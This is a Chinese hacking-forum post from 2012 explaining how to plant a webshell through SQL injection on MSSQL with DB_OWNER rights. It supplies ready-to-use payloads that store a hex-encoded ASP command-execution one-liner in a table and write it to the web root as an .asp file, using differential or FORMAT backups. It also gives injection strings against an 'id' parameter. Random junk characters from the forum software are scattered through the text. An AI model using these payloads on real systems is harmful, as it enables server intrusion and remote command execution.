找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2153|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:
7 d8 X. o; I- C, s  E) R2 a3 n- M! \4 _! T8 t
减少备份文件大小,得到可执行的webshell成功率提高不少( x  r5 L8 _& R/ H
一利用差异备份8 p0 z- A  O( I, X
加一个参数WITH DIFFERENTIAL
; ]2 r1 X0 m7 T$ z3 T3 v9 P
! O6 {* t3 G/ r+ s1
: v9 h9 @- ?+ J% u0 N2
; M& `" E) o+ z$ @2 _3$ E! H5 Z9 d' Y) `" v2 V
4
) `. V$ d  m2 Q+ y5 u3 }1 G declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s2 l( u- W" {6 v% _4 Z# W
create table [dbo].[xiaolu] ([cmd] [image]);9 p2 f; y  w3 C7 Y. L
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
4 z; h  \( k, {. B6 d5 U$ ]4 k( ^declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
. @( K+ M) C! r$ p$ \# T" T7 m: w
4 t4 a( u* p# E# l0 R. a  i二利用完全FORMAT
8 o6 D" w& ?6 c; q" g; a+ p) \加一个参数WITH FROMAT8 H. h$ ~: I8 j2 H; _. W4 w9 m
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
) w2 ^# F! Q0 o$ q6 b  d9 W6 N5 ]: R5 T. x
1% h5 J8 Q& n) I6 ~1 V3 B2 a4 j( O
2
, G1 k# B4 N+ d; U  c4 V; {/ v, w3
- K# q4 C6 L. `0 p" @% n4! y# ]9 m* F/ v# C/ |
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
+ T, Z1 m2 X3 m  icreate table [dbo].[xiaolu] ([cmd] [image]);7 z" Z. p. k/ N$ D8 h7 g9 ~
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
# K/ a3 Z; M# R5 }6 Udeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
! C% A& {. ]5 Z! `# i5 p% k* h% f5 u! `+ @
总的来说就是那么简单几句,下面以备份数据库model为例子" d0 y. J  [. q3 S. D; d. O, ]
1! D# p) V& z8 h: q

7 k$ @" d% G8 e1
$ i* x$ \' c8 Y8 _% V# ^: o id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') / \$ I0 b+ M9 U" i5 h

9 L; f' P$ B( c; A2, S2 [* N& F7 C+ |
# y3 F6 Q- U. c- B' K8 P. |
1
6 M, G. B. {) o& q, j1 K2 G9 t id=1;backup database model to disk='你的路径‘ with differential,format;-- : D8 {! ?1 m# t) t2 y: J  @0 r4 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表